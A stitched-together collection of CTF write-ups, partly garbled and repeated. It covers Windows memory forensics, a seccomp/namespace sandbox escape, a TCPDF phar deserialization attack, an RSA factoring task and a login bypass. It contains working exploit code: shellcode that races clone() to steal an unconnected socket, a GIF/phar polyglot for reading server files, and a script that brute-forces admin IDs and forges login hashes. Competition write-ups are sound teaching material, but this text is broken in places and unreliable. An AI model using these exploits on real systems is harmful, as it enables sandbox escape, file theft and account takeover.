Part 3 is the exact same thing as part 2, but this time around you should've noticed a weird file in the filescan. It is also present if you run the screenshot plugin of Volatiliy, where it shows a large part of the base64-encoded and encrypted flag. We first noticed this though:
```0x000000003e6645a0 16 0 R--r-d \Device\HarddiskVolume2\Program Files\D9f\gCFhd\yxEUQSFyoHU1ybvQ0S9TOOwUWFCR+HWh+YicMXXJ2hzO39bjKEbONClpsoTzUtfuC86APEJGe46byt7fmJGBEkmrtktbMIZ5Mk4LnGFkyNVkAwEKm\O7dnFs7JKPrXrI9Co8Z4ULFf1UzT1cK5wFiIONE\0t33K+0.bat```
Simply running the same function as for part 2, with the same SID, gives the third flag `ALLES{0n3_f0r3n51k_tr345ur3_15_ly1ng_w1th1n_th3_5h1mc4ch3}` You only have to flip the backslashes forward before decoding. |
# Challenge Description
We realized that there was a distinct lack of cloud based computation servicesand thus decided do create something new.
It is making use of the latest super-advanced security features of the linuxkernel: - 100% seccomp protection - *ALL* the namespaces (wow!) - rlimit thingies
We provide you with the source code as well as a demo instance so that you canevaluate our high quality service.
nc caas.ctfcompetition.com 1337
# Prep Work
Lets start by seeing what the network service gives us upon connecting.```$ nc caas.ctfcompetition.com 1337Welcome to the awesome cloud computation engine!We will run your application* for you
Format: <u16 assembly length> <x64 assembly>
*) Some restrictions apply```
Seems like we will need to be submitting binary data, so lets write a simple script to facilitate this.```pythonfrom pwn import *
s = remote('caas.ctfcompetition.com', 1337)
payload = open('payload.bin', 'rb').read()s.readuntil("apply\n")s.write(p16(len(payload)) + payload)s.stream()```
# Investigating the Source Code
We are also given the source code to the service that runs the challenge, so lets investigate this.
In `challenge.cc` we can see that the server sets up two ancillary services in the functions `MetadataServer` and `FlagServer`.
- `MetadataServer` listens on `127.0.0.1:8080` and simply replies with `Not implemented` to all connections- `FlagServer` listens on `127.0.0.1:6666` and replies with the contents of a file named `flag` to all connections
We now have our end goal: write some shellcode that somehow connects to `127.0.0.1:6666` to receive the flag and print it to stdout.
Lets investigate the server a bit further to see exactly how our payload will be run.
Every incomming connection will call `handle_connection`, which forks. - The child process runs our shellcode after being is heavily locked down - The parent process sets up some timeouts and then finally calls `RPC::Server(child_pid, comms_fd)`
We will come back to the parent process later, but lets take a closer look at exactly how the child process that runs our shellcode is locked down.
The first observation is that the fork itself is done with a custom function `ForkWithFlags` which applies the given namespace flags to isolate the child process. As the challenge description promises, all the available namespaces are used. Most importantly given our end goal, the child process is put into its own network namespace.
Following the code further we can see that: - we will have no filesystem (`pivot_root` into an empty directory) - we will have no capabilities (`cap_set_proc` with default initialized capabilities) - we will have almost no file descriptors (STDIN, STDOUT, STDERR and FD 100 are the only available to us) - nearly all memory pages in the process will be unmapped, meaning we have access to no shared library code that would otherwise already by loaded into the process - a seccomp policy will limit the syscalls we are allowed to use ## The Seccomp Policy Using [david942j/seccomp-tools](https://github.com/david942j/seccomp-tools) we are able to decompile the binary seccomp policy from the source code and determine the restrictions placed upon us.
The following syscalls are allowed to be called unrestricted: - read - write - close - munmap - sched_yield - dup - dup2 - nanosleep - connect - accept - recvmsg - bind - exit - exit_group The following syscalls are allowed to be called with specific arguments:- clone - `clone(CLONE_VM | CLONE_SIGHAND | CLONE_THREAD, ...)`- socket - `socket(AF_INET, SOCK_STREAM, 0)`- mmap - `mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0)` ## The RPC Server
The RPC interface is accessible to us over FD 100 and provides two functions: - Connect - GetEnvData GetEnvData is entirely uninteresting and can be ignored. Connect also appears uninteresting at first glance because it whitelists the valid endpoints and does not allow connection to the flag server, but lets investigate further.
The Connect request recives data from our process with the following structure:```c++struct ConnectToMetadataServerRequest { const char *hostname; uint16_t port;};```
Immediately the `const char *` stands out - this means the RPC server has to peak into our memory to read the contents of the hostname string. This is done through a function called `SafeRead`, that we will revisit in a moment.
The RPC flow works as follows: - read a request object from FD 100 - call `ValidateRequest` and bail on failure - call `ExecuteRequest` and bail on failure - write a response objet to FD 100 - optionally call `SendFD` to share a file descriptor between processes Lets look at the validate/execute methods for the connect request:```C++template <>bool ValidateRequest(pid_t pid, const ConnectToMetadataServerRequest &req) { static constexpr std::pair<const char *, uint16_t> allowed_hosts[] = { // Allow service to connect to the metadata service to obtain secrets etc. {"127.0.0.1", 8080}, // Early access. // {"169.254.169.254", 80}, // Full blown metadata service, not yet implemented }; std::string host; if (!SafeRead(pid, req.hostname, 4 * 3 + 3, &host)) { return false; }
fprintf(stderr, "host: %s port: %d\n", host.c_str(), req.port);
bool allowed = false; for (const auto &p : allowed_hosts) { if (!strcmp(p.first, host.c_str()) && p.second == req.port) { allowed = true; } }
return allowed;}
template <>bool ExecuteRequest(pid_t pid, const ConnectToMetadataServerRequest &req, ConnectToMetadataServerResponse *res, int *fd_to_send) { std::string host; if (!SafeRead(pid, req.hostname, 31, &host)) { return false; }
*fd_to_send = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr = {}; serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(req.port);
if (inet_pton(AF_INET, host.c_str(), &serv_addr.sin_addr.s_addr) != 1) { fprintf(stderr, "inet_pton failed\n"); *fd_to_send = -1; res->success = false; } else if (connect(*fd_to_send, (struct sockaddr *)&serv_addr, sizeof(sockaddr_in)) < 0) { perror("connect"); res->success = false; } else { res->success = true; } return true;}```
Picking this apart we can see that validate starts by calling `SafeRead` to retrieve the string value for the requested hostname, and then compares it along with the port number to a whitelist. Execute follows by again calling `SafeRead` to get the requested hostname before creating a socket and connecting it to the requested endpoint.
There are two critical bugs here:- SafeRead is called twice, meaning there is a potential time of use vs time of check attack vector here- The socket created is stored into `fd_to_send` even if the `connect` call returns an error.
The significance of the second bug is very subtle. The key point to understand is that a socket belongs to whatever network namespace it is created in. The namespace of the process calling `connect` is irrelevant. If our locked down process is given a socket file descriptor from outside our network namespace that is in an unconnected state we can use that socket to connect to as if we were not in a network namespace to begin with.
## SafeRead
The authors of this program had clearly given some thought to the dangers in reading another processes memory, and so implemented a "safe" read function to mitigate the dangers.
The implementation breaks down into the following three steps:- verify that the other process is currently blocked on either the `read` or `recvmsg` syscall- verify the other process only has a single thread- call `process_vm_readv` to read the memory across process boundaries
## Exploiting the Bugs
We now have a relatively clear picture of the steps we need to take to get the flag:1. send a connect request over rpc to an allowed endpoint so that we pass the checks in `ValidateRequest`2. after passing validation checks, but before `ExecuteRequest` starts, swap out the hostname with an address that will not be connectable3. receive the connect response, which should give us a socket fd in an unconnected state4. connect this socket to `127.0.0.1:6666`, read the flag, and write it to stdout
Everything there is straight forward except step 2.How do we get past the syscall blocking check in `SafeRead` if our process can't have multiple threads?
The answer lies in the `clone` syscall that is whitelisted in our seccomp filters. Lets take a look.
We are specifically allowed to call `clone` with the `CLONE_VM | CLONE_SIGHAND | CLONE_THREAD` flags.
At first glance `CLONE_THREAD` is discouraging, because it sounds like it will somehow create a thread instead of a child process and trigger the other check in `SafeRead`, but this is not the case. According to the man pages, `If CLONE_THREAD is set, the child is placed in the same thread group as the calling process.`
`CLONE_VM` is the last piece of the puzzle, as according to the man pages: `If CLONE_VM is set, the calling process and the child process run in the same memory space.`This is perfect, as it will allow us to modify the hostname string from our child process *while our parent is still blocked on `read` and only has a single thread*.
# The PayloadWe now have all the pieces, so lets assemble our payload. I chose to write the payload in C rather than fumbling about in assembly directly.
## Makefile```Makeall: g++ -O2 -static -fPIE -nostdlib -nostartfiles payload.cc -o payload.elf objcopy -O binary -R .note.* -R .eh_frame -R .comment payload.elf payload.bin```
## Code```C++asm("jmp _start \n"
".global syscall \n""syscall: \n""movq %rdi, %Rax \n""movq %rsi, %rdi \n""movq %rdx, %rsi \n""movq %rcx, %rdx \n""movq %r8, %r10 \n""movq %r9, %r8 \n""movq 8(%rsp),%r9 \n""syscall \n""ret \n"
".global clone \n""clone: \n""sub $0x10,%rsi \n""mov %rcx,0x8(%rsi) \n""mov %rdi,(%rsi) \n""mov %rdx,%rdi \n""mov %r8,%rdx \n""mov %r9,%r8 \n""mov 0x8(%rsp),%r10 \n""mov $0x38,%eax \n""syscall \n""test %rax,%rax \n""je 1f \n""retq \n""1: \n""xor %ebp,%ebp \n""pop %rax \n""pop %rdi \n""callq *%rax \n""mov %rax,%rdi \n""mov $0x3c,%eax \n""syscall \n");
#include <linux/sched.h>#include <netinet/in.h>#include <syscall.h>#include <unistd.h>
extern "C" { void _start(void); long int syscall(long int __sysno, ...); int clone(int (*fn)(void *), void *child_stack, int flags, void *arg);}
#define write(fd, buf, sz) syscall(SYS_write, fd, buf, sz)#define read(fd, buf, sz) syscall(SYS_read, fd, buf, sz)#define recvmsg(fd, msg, flags) syscall(SYS_recvmsg, fd, msg, flags)#define nanosleep(rqtp, rmtp) syscall(SYS_nanosleep, rqtp, rmtp)#define connect(fd, addr, addrlen) syscall(SYS_connect, fd, addr, addrlen)#define mmap(addr, len, prot, flags, fd, off) syscall(SYS_mmap, addr, len, prot, flags, fd, off)#define exit(code) syscall(SYS_exit, code)
struct ConnectToMetadataServerRequest { const char *hostname; uint16_t port;};
struct ConnectToMetadataServerResponse { bool success;};
struct GetEnvironmentDataRequest { uint8_t idx;};
struct GetEnvironmentDataResponse { uint64_t data;};
namespace Type {enum type_t { Connect = 0, GetEnvData = 1,};}
struct Request { union { ConnectToMetadataServerRequest connect_request; GetEnvironmentDataRequest getenvdata_request; } req;
Type::type_t type;};
struct Response { union { ConnectToMetadataServerResponse connect_response; GetEnvironmentDataResponse getenvdata_response; } res;
Type::type_t type;};
static int ReceiveFD(int comms_fd) { char fd_msg[200]; cmsghdr *cmsg = reinterpret_cast<cmsghdr *>(fd_msg);
bool data; iovec iov = {&data, sizeof(data)};
msghdr msg; msg.msg_name = nullptr; msg.msg_namelen = 0; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg; msg.msg_controllen = sizeof(fd_msg); msg.msg_flags = 0;
if (recvmsg(comms_fd, &msg, 0) < 0) { return -1; }
cmsg = CMSG_FIRSTHDR(&msg;; if (cmsg->cmsg_level == SOL_SOCKET && cmsg->cmsg_type == SCM_RIGHTS) { if (cmsg->cmsg_len == CMSG_LEN(sizeof(int))) { int *fds = reinterpret_cast<int *>(CMSG_DATA(cmsg)); return fds[0]; } }
return -1;}
void _sleep(long ns) { struct timespec t = {}; t.tv_sec = 0; t.tv_nsec = ns; nanosleep(&t, nullptr);}
int _child(void *arg) { char* addr = (char*)arg;
// delay long enough for ValidateRequest to succeed _sleep(600000);
// modify the ip address to 227.0.0.1 // the address needs to still be valid, but not connectable addr[0] = '2';
return 0;}
void _start(void) { // allocate stack for cloned process char * stk = (char*)mmap(0, 0x1000, 3, 0x22, 0, 0); if (!stk) { exit(0); }
char addr[] = "127.0.0.1";
Request req; req.req.connect_request.hostname = addr; req.req.connect_request.port = 8080; req.type = Type::Connect;
if (write(100, &req, sizeof(Request)) != sizeof(Request)) { exit(0); }
// clone ourselves to perform the attack auto pid = clone(_child, stk + 0x1000, CLONE_VM | CLONE_SIGHAND | CLONE_THREAD, addr); if (pid == -1) { exit(0); }
// delay a bit before blocking on read to ensure clone is ready _sleep(100000);
// read response Response resp; if (read(100, &resp, sizeof(Response)) != sizeof(Response)) { exit(0); }
// receive fd from connect request auto fd = ReceiveFD(100); if (fd != -1) { // if the race worked, the socket fd we have now will not be connected struct sockaddr_in serv_addr = {}; serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(0x7f000001L); serv_addr.sin_port = htons(6666);
// connect socket to 127.0.0.1:6666 auto res = connect(fd, &serv_addr, sizeof(sockaddr_in)); if (res == 0) { char buf[100];
// dump flag to stdout auto len = read(fd, buf, sizeof(buf)); if (len > 0) { write(STDOUT_FILENO, buf, len); } } }
exit(0);}```
# Dumping the Flag
Build the payload```$ makeg++ -O2 -static -fPIE -nostdlib -nostartfiles payload.cc -o payload.elfobjcopy -O binary -R .note.* -R .eh_frame -R .comment payload.elf payload.bin```
Execute the payload with our script from earlier```$ python do.py[+] Opening connection to caas.ctfcompetition.com on port 1337: Done[*] Closed connection to caas.ctfcompetition.com port 1337```
Try again because race conditions aren't entirely reliable```$ python do.py[+] Opening connection to caas.ctfcompetition.com on port 1337: DoneCTF{W3irD_qu1rKs}[*] Closed connection to caas.ctfcompetition.com port 1337``` |
# Flagconverter
Challenge description:```On the campground of the CCCamp, someone is trying to troll us by encrypting our flags. Sadly, we only got the memory dump of the PC which encrypted our flags.```
This challenge includes a single memory dump, with 3 challenges inside. The dump is from a Windows 7 64-bit machine, and inside it there's supposedly someone that has encrypted some flags. One was very recently encrypted, and another was encrypted a long time ago. Let's get to it.
# Part 1
This part is fairly simple. The flag exists somewhere in the memory as-is, with no obfuscation. Simply `fgrep -a "ALLES{" flagconverter.dmp` to get the flag.
`ALLES{f0r3n51k_15_50m3t1m35_t00_345y}`
# Part 2
We're going to use [Volatility](https://github.com/volatilityfoundation/volatility/) to analyze the memory dump. First, we start off with an `imageinfo` to identify which profile to use. Here, Volatility runs a few useful scans to determine the best profile fit. We end up with `Win7SP1x64`, which will be used for the rest of this write-up.
```$ vol.py -f flagconverter.dmp imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS) AS Layer3 : FileAddressSpace (flagconverter.dmp) PAE type : No PAE DTB : 0x187000L KDBG : 0xf800027ff120L Number of Processors : 2 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002801000L KPCR for CPU 1 : 0xfffff880009eb000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2019-08-21 05:55:09 UTC+0000 Image local date and time : 2019-08-21 07:55:09 +0200```
Next up, we'll run `pslist` and `filescan` to see what we have available. The outputs of these are enormous, but there's a few interesting files and applications being run. Some of these are located on the desktop for the ALLES user:
```0xfffffa800246e530 converter.exe 2308 2280 11 183 1 0 2019-08-21 05:52:25 UTC+00000xfffffa800246fb00 converter.exe 2316 2280 10 152 1 0 2019-08-21 05:52:25 UTC+0000...0x000000003e66a6a0 15 0 R--r-- \Device\HarddiskVolume2\Users\ALLES\Desktop\1\converter.exe0x000000003eb79430 1 1 R--r-d \Device\HarddiskVolume2\Users\ALLES\Desktop\3\Crypto.dll```
Dumping these wasn't easy to do uncorrupted with Volatility, but we managed to do so after some combination of memory areas. `converter.exe` is a .NET application, and firing up `dnspy` reveals that it's just a thin form application that interacts with `Crypto.dll`. There's a text field, and a button to press for encrypting. The `Click_Button` function looks like this:
```private void Click_Button(object sender, EventArgs e){ Crypto crypto = new Crypto(); crypto.function03(); this.string_0 = Convert.ToBase64String(crypto.function02(this.text.Text)); crypto.Dispose(); GC.Collect(); GC.WaitForPendingFinalizers(); this.ms.Read(Encoding.ASCII.GetBytes(this.string_0), 0, Encoding.ASCII.GetBytes(this.string_0).Length); this.text.Text = this.string_0;}```
Here it initializes the Crypto class, calls some `function03`, followed by `function02` on the text in the input field, and finally base64-encodes the result. The application also aggressively interacts with the garbage collector, to make sure the flag doesn't stay in memory after encrypting. Looking at `Crypto.dll` in `dnspy`, we easily find these functions:
```public void function03(){ byte[] array = new byte[28]; WindowsIdentity.GetCurrent().User.GetBinaryForm(array, 0); this.byte_1 = new byte[16]; Array.Copy(array, 0, this.byte_1, 0, 16); this.byte_0 = new byte[32]; Array.Copy(array, array.Length - 16, this.byte_0, 0, 16); Array.Copy(array, array.Length - 16, this.byte_0, 16, 16);}
public byte[] function02(string string_0){ SymmetricAlgorithm symmetricAlgorithm = this.function01(); MemoryStream memoryStream = new MemoryStream(); CryptoStream cryptoStream = new CryptoStream(memoryStream, symmetricAlgorithm.CreateEncryptor(), CryptoStreamMode.Write); byte[] bytes = new UnicodeEncoding().GetBytes(string_0.PadRight(string_0.Length % 8, '\0')); cryptoStream.Write(bytes, 0, bytes.Length); cryptoStream.FlushFinalBlock(); memoryStream.Position = 0L; byte[] result = memoryStream.ToArray(); string_0 = null; cryptoStream.Close(); memoryStream.Close(); GC.Collect(); GC.WaitForPendingFinalizers(); return result;}```
The gist of it, is that `function03` fetches the SID of the current user, in its binary form, which is a [big mess of big and little endian hexadecimal chunks](https://devblogs.microsoft.com/oldnewthing/20040315-00/?p=40253). It is only 28 bytes long, but it copies the first 16 bytes into `byte_1` and the last 16 bytes into `byte_0` two times. `function03` then uses AES in CBC mode, with `byte_1` as the IV and `byte_0` as the key for encryption. Aggressive garbage collection is also done here. An equivalent decryption function in Python looks something like this:
```pythonfrom Crypto.Cipher import AES
def decrypt(SID, ciphertext): IV = SID[:16] KEY = SID[len(SID)-16:]*2 return AES.new(KEY, AES.MODE_CBC, IV).decrypt(ciphertext)```
Now that this is out of the way, we just need to hunt for base64-encoded data somewhere. We actually found part 3 before part 2, but part 2 can be found within the memory dump of the `converter.exe` process using `strings` or similar tools. It is `ZuwJUgfmKzIMbo4F8agPy1MPLq+r7cAlDLowY+RT2wgp1uifc2TXeNH4bvbb2VqfK6r77SPHFrrMYR+GMGv8JGS87Tiybyi4LNNHQWnTR8LlGlSeHWWA9pydAXuJjSk8FzUFbqHOKqHc+bCtJ/4K2Q==`, and using the decrypt function from above together with the SID `0105000000000005150000009a54b0afcd26c4824b70f4b0e8030000` (decoded from hex) and the base64-decoded bytestream of our flag yields `ALLES{50m3_f0r3n51k_50m3_r3v3r51ng_4nd_50m3_c2ypt0_fun}`. We actually found this string by looking through the screen buffer in the image, where we stumbled upon a somewhat legible image of the screen state, where the encrypted flag was located. We then grepped for the readable parts to find part 2. The SID can easily be found with the `getsids` plugin, but it is also visible inside the filescan results (and many other places).
# Part 3
Part 3 is the exact same thing as part 2, but this time around you should've noticed a weird file in the filescan. It is also present if you run the screenshot plugin of Volatiliy, where it shows a large part of the base64-encoded and encrypted flag. We first noticed this though:
```0x000000003e6645a0 16 0 R--r-d \Device\HarddiskVolume2\Program Files\D9f\gCFhd\yxEUQSFyoHU1ybvQ0S9TOOwUWFCR+HWh+YicMXXJ2hzO39bjKEbONClpsoTzUtfuC86APEJGe46byt7fmJGBEkmrtktbMIZ5Mk4LnGFkyNVkAwEKm\O7dnFs7JKPrXrI9Co8Z4ULFf1UzT1cK5wFiIONE\0t33K+0.bat```
Simply running the same function as for part 2, with the same SID, gives the third flag `ALLES{0n3_f0r3n51k_tr345ur3_15_ly1ng_w1th1n_th3_5h1mc4ch3}` You only have to flip the backslashes forward before decoding. |
## IntroductionThis challenge gives us a web app and its [source code](https://github.com/everping/ctfs/blob/master/2019/chaos_communication_camp_2019/code-6c8fe52c26dec8c08d407bef5a52598d39dbf8b3.zip). Basically, the flow of that web app is:- Users upload an image (png, jpg, jpeg, gif) and get the uploaded url- Users post arbitrary html content to generate a pdf, the above image url can be included in the html content
## AnalysisFirstly, I uploaded a malformed image and got an error related to `imagemagick` in the process of creating pdf file by `tcpdf` library. This made me think of the idea of [imagetragick](https://imagetragick.com/). However, I threw this thought away when I saw functions that check the format of image files through their exif. That check prevent us to create a completed payload for the imagetragick attack.
```php if(function_exists('exif_imagetype')) { //Die exif_imagetype-Funktion erfordert die exif-Erweiterung auf dem Server $allowed_types = array(IMAGETYPE_PNG, IMAGETYPE_JPEG, IMAGETYPE_GIF); $detected_type = exif_imagetype($_FILES['file']['tmp_name']); if(!in_array($detected_type, $allowed_types)) { echo("<div class=\"container\">Only pictures allowed!</div>"); return; } }```
By googling about `tcpdf` library, I found a deserialization vulnerability in its [old version](https://packetstormsecurity.com/files/152200/TCPDF-6.2.19-Deserialization-Remote-Code-Execution.html). I reviewed our source code and compared it to that exploit and realized that we have ideal factors to create a perfect attack:- tcpdf version 6.2.13 affected by that vulnerability- A destruct method is defined in class PDFCreator (creator.php), this method included `file_get_contents()` function that can be trigged to read arbitrary files in the server.
## ExploitThe exploit code provided in [that paper](https://packetstormsecurity.com/files/152200/TCPDF-6.2.19-Deserialization-Remote-Code-Execution.html) is very straightforward, we can use it with a little bit of modifying. Below is what I did:### 1. Create a valid image included the payload by using the code below```phpstartBuffering(); $phar->addFromString("test.txt", "test"); # Set stub with gif prefix to bypass image checking $phar->setStub("GIF89atmpfile = "/var/www/site/flag.php"; $phar->setMetadata($payload); $phar->stopBuffering(); rename($phar_file, $image_file);}```If you want to try it, save it as a php file (payload.php) and turn off `phar.readonly` directive in `php.ini` then execute the command `php payload.php`. You will get file `poc.gif` and use it to do next steps.
I should explain a bit about some special points in my code:- `GIF89a` is included as the prefix of output file because I want to bypass extension checking- We have to pass to `$payload->tmpfile` the file we want to read. I tried with `flag.php` and got failed, but `/etc/passwd` worked so I think we need an absolute path. I read `/etc/apache2/sites-enabled/000-default.conf` first to get the full path of web source code and then luckily, I found `/var/www/site/flag.php`
### 2. Upload file and get flag- From frontend, upload the created `poc.gif` and get the uploaded url- Create a request like below to get pdf, the flag will be included in the response```POST /index.php HTTP/1.1Host: hax.allesctf.net:3333
pdfcontent=```- Flag is `ALLES{phar_jpeg_polyglot_madness_such_w0w}` |
# Reverse Search Algorithm
## Description
WWPHSN students, gotta get these points to boost your grade.
```n = 561985565696052620466091856149686893774419565625295691069663316673425409620917583731032457879432617979438142137e = 65537c = 328055279212128616898203809983039708787490384650725890748576927208883055381430000756624369636820903704775835777```
## Solution
The n actually has a small prime factor 29. So you can find it easily by yafu or factorDB.
Just use simple [script](solve.py) to retrieve the flag.
```hsctf{y3s_rsa_1s_s0lved_10823704961253}``` |
In this challange you had to be able to login into the admins account.
When you open the site in html form you see 4 scripts- jquery- sha(-256 presumably) hasher- some kind of cookie manager- interactive javascript that governs the page, conveniently named challange.js
First I did was look through the html page to see what's on it.I discovered a registration div hidden with css.I searched this form in the challange.js and found the method you use to register an account.It was not protected by a forced login trhough information verification or some sort.You only send 2 times the same password and it will register you.I went fourth and did so and got an account with a number as usernameI looked further into the challange.js and found these lines of code
```var _0x496673 = Cookies['get']('id');else if (_0x496673 != $('#login-username')['val']()) _0x1e5323['failure']();```
this meant that the `cookies['id']` is your username
since it saved information in the cookies I searched the file for more cookies and there were 3 cookies stored- id- time- cck
now i wanted to look how you logged inthere were 4 POST methods1 was registeringthe other 2 were for loginthe last one was unclear
one logged in using username and passwordone logged in using cck cookie and id cookiethe unclear one only sended the id and when it was successfull it used the retrieved information to compare it to the time
`if (_0x3f2e31['time'] != _0x1cedcf) _0x1e5323['failure']();`
`_0x3f2e31` was retrieved
So now i know that if I send the same POST method with a valid id I would get the time related to that id.I tested it on the account I created and it worked.
all the other methods are currently useless so I contineaud my search in fucntions I could exploitAll the way at the top was a hash function which is refereced only is the creation of the cck cookieSo the cck cookie is a hash made from what?first I looked and it was made from something that you get retrieved after logging in with an account and it at least contained the id and time because of this line of code that was referenced in the login function.
```function _0x3424b0(_0x578481) { Cookies['set']('id', _0x578481['id']); Cookies['set']('time', _0x578481['time']); Cookies['set']('cck', _0x3b8338(_0x578481));}```
I logged in and it had also a data object inside it.But with a second look in the hash function it only uses the time and id to create the cckAnd we already have an id and time; so we have access to the cck now to.
Now one of the login methods are usefull cause you can login using the cck and idSo to summarize
We need an id to get the time and we need the time and id to get the cckSo we only need the id of the account to login.The only question now is: "What is the id of the admin?"no where in the task was anything referenced in numbers, because the id has to be a number judging from creating an account myself.
So the only solution to contineau was to bruteforceSo I created lines of code that would automaticly try to login using the id given and created this:
```var id = "0";$['ajax']({ 'url': 'api/login/', 'type': 'POST', 'headers': { 'X-Cache-Command': 'META', 'X-Cache-User': id }, 'success': _0x3f2e31 => { var _0x51fe42 = new jsSHA('SHA-256', 'TEXT'); var _0x4e3a61 = id + '\x20000\x20114328\x20000\x20' + _0x3f2e31.time; _0x51fe42['update'](_0x4e3a61); var _0x50f900 = _0x51fe42['getHash']('HEX'); $['ajax']({ 'url': 'api/login/', 'type': 'POST', 'headers': { 'X-Cache-Command': 'PULL', 'X-Cache-User': id, 'X-Cache-Key': _0x50f900 }, 'success': _0xa48257 => { console.log(_0xa48257); }, 'error': () => { alert('Unexpected\x20Error!'); Cookies['remove']('id'); Cookies['remove']('cck'); Cookies['remove']('time'); } }); }});```
At the end of this algorithm there would be information information returnedand with `id='6'` the information returned contained the flag:CodefestCTF{1AmTeHHHAX00Rr4uj8rfi4e$%y5yhrf} |
# Forensics
> On the campground of the CCCamp, someone is trying to troll us by encrypting our flags. Sadly, we only got the memory dump of the PC which encrypted our flags.
## Intro
We get a zipped ```flagchecker.dmp``` file. There are 3 different levels to this task, all of which are solved using that one file. We know that:- the first flag has not yet been encrypted which points at something being typed when the dump was dumped- the second flag was encrypted moments before the dump- the third flag is somewhere in there without any more precisions
This was a super fun challenge with lots of layers. I'll divide the write-up into 4 parts: a general approach, and one for each of the flags.
## Solving### General
A dump file. Did someone say [vola](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference)? Vola is the best (imo) tool out there for these kinds of tasks. It allows you to pretty much extract anything useful including, but not limited to, screenshots, clipboard, last commands used, entire binaries and much much more.
So how do you start? First you need to identify what kind of dump is. The ```imageinfo``` command is your best friend, though it doesn't alwazs work. Sometimes you have to actually dig in there and find references to a specific OS. But this wasn't one of those times and it recognized it as a Win7SP1x64. From there on you can start playing. Off the bat, I like to list all running processes using ```pslist```as well as the contents of the clipboard using ```clipboard``` (which I didn't do right waya this time). I also dump all filenames present in the binary for later use using ```filescan``` and any available screenshots using ```screenshot```. For a better explanation on how to use the commands, have a look at the link above.
### Part 1
This took me much longer than it should have. I took the road not traveled on this one but it ended up helping for part 2. After dumping the processes I noticed 2 suspicious candidates:
```0xfffffa800246e530 converter.exe 2308 2280 11 183 1 0 2019-08-21 05:52:25 UTC+0000 0xfffffa800246fb00 converter.exe 2316 2280 10 152 1 0 2019-08-21 05:52:25 UTC+0000 ```Well this seems like it's worth investigating. The first step is to dump the memory associated with those 2 PIDs which can be done using the ```memdump``` command. This yielded 2 large-ish files (~280mb). I started looking through them to see if anything was interesting but the size made it a bit difficult.
At this point I did what I should have done first and looked up the flag format for the competition. Sure enough, searching for ```ALLES{``` quickly revealed the first flag. I then went back to the original dmp file and dang if it wasn't there as well. Long story short, remember to simply look for your flag with a simple hex editor as a first thing, could have been solved in 10 seconds.
### Part 2
At this point I was at least getting reaacquainted with volatility. While poking around I ran the ```clipboard``` command and noticed that the first flag was also present there as a base64 string. Oh well. What it did motivate me to do however was to run ```strings``` on the dump to find other base64 strings. And I found one:
```ZuwJUgfmKzIMbo4F8agPy1MPLq+r7cAlDLowY+RT2wgp1uifc2TXeNH4bvbb2VqfK6r77SPHFrrMYR+GMGv8JGS87Tiybyi4LNNHQWnTR8LlGlSeHWWA9pydAXuJjSk8FzUFbqHOKqHc+bCtJ/4K2Q==```
Decoding it produced junk so this might be our encrypted ```ciphertext```?
I started focusing on the 2 ```converter.exe``` processes. First thing was to dump the binaries associated with them using ```procdump```. Immediately I noticed that ```2308``` was around 8mb while ```2316``` only 8kb. Somethingisfishy.gif. Both were simple ```.net``` executables, which are easily disassembled by [dotPeek](https://www.jetbrains.com/decompiler/), an excellent tool, especially if you use JetBrains software.
The large ```converter.exe``` can actually be run as an executable and you'll see that it's a useful small Forms based app to encode/decode strings into useful formats. Kind of cute but after finding the base64 of the first flag in the dump I figured this was the tool that was being used and the upper textblock contained the plaintext, which I found, while the bottom one contained the base64 encoded flag that the user had copied and which I had found in the clipboard. So I let it go.
The second looked much more promising. A simple Forms application, extremely lightweight, with only one textbox and one button. Upon clicking, this happens:
```c#private void Click_Button(object sender, EventArgs e) { Crypto crypto = new Crypto(); crypto.function03(); this.string_0 = Convert.ToBase64String(crypto.function02(this.text.Text)); crypto.Dispose(); GC.Collect(); GC.WaitForPendingFinalizers(); this.ms.Read(Encoding.ASCII.GetBytes(this.string_0), 0, Encoding.ASCII.GetBytes(this.string_0).Length); this.text.Text = this.string_0; } ``` Moreover, at the top of the program, we have a singular include: ```using someCrypto;``` which points towards some kind of Crypto module. But he latter couldn't be found and prevented the app from running on my Win10 PC (yes, I use Win10 and WSL). But now we know it calls it up, creates a new object, calls some ```function03(void)``` and specifically runs ```function02``` on the input to encrypt it. At this point I was a little stumped so I started looking at other interesting volatility functions. I came accross ```dlldump```. This wonderful function dumps all the ```dll``` associated with a specific process if specified. This yielded around 40 ```dll``` files. Here is an extract of the output: ```0xfffffa800246fb00 converter.exe 0x0000000074ef0000 Crypto.dll OK: module.2316.3e66fb00.74ef0000.dll0xfffffa800246fb00 converter.exe 0x000007fefbb90000 gdiplus.dll OK: module.2316.3e66fb00.7fefbb90000.dll0xfffffa800246fb00 converter.exe 0x000007fefd540000 RpcRtRemote.dll OK: module.2316.3e66fb00.7fefd540000.dll```
Uh-oh spaghetti-oh it looks like we have a winner. Now as we all know, most ```dll``` can be decompiled like a normal executable. Again using dotPeek we get a full-frontal view of the missing import. And now we have our missing ```function02```
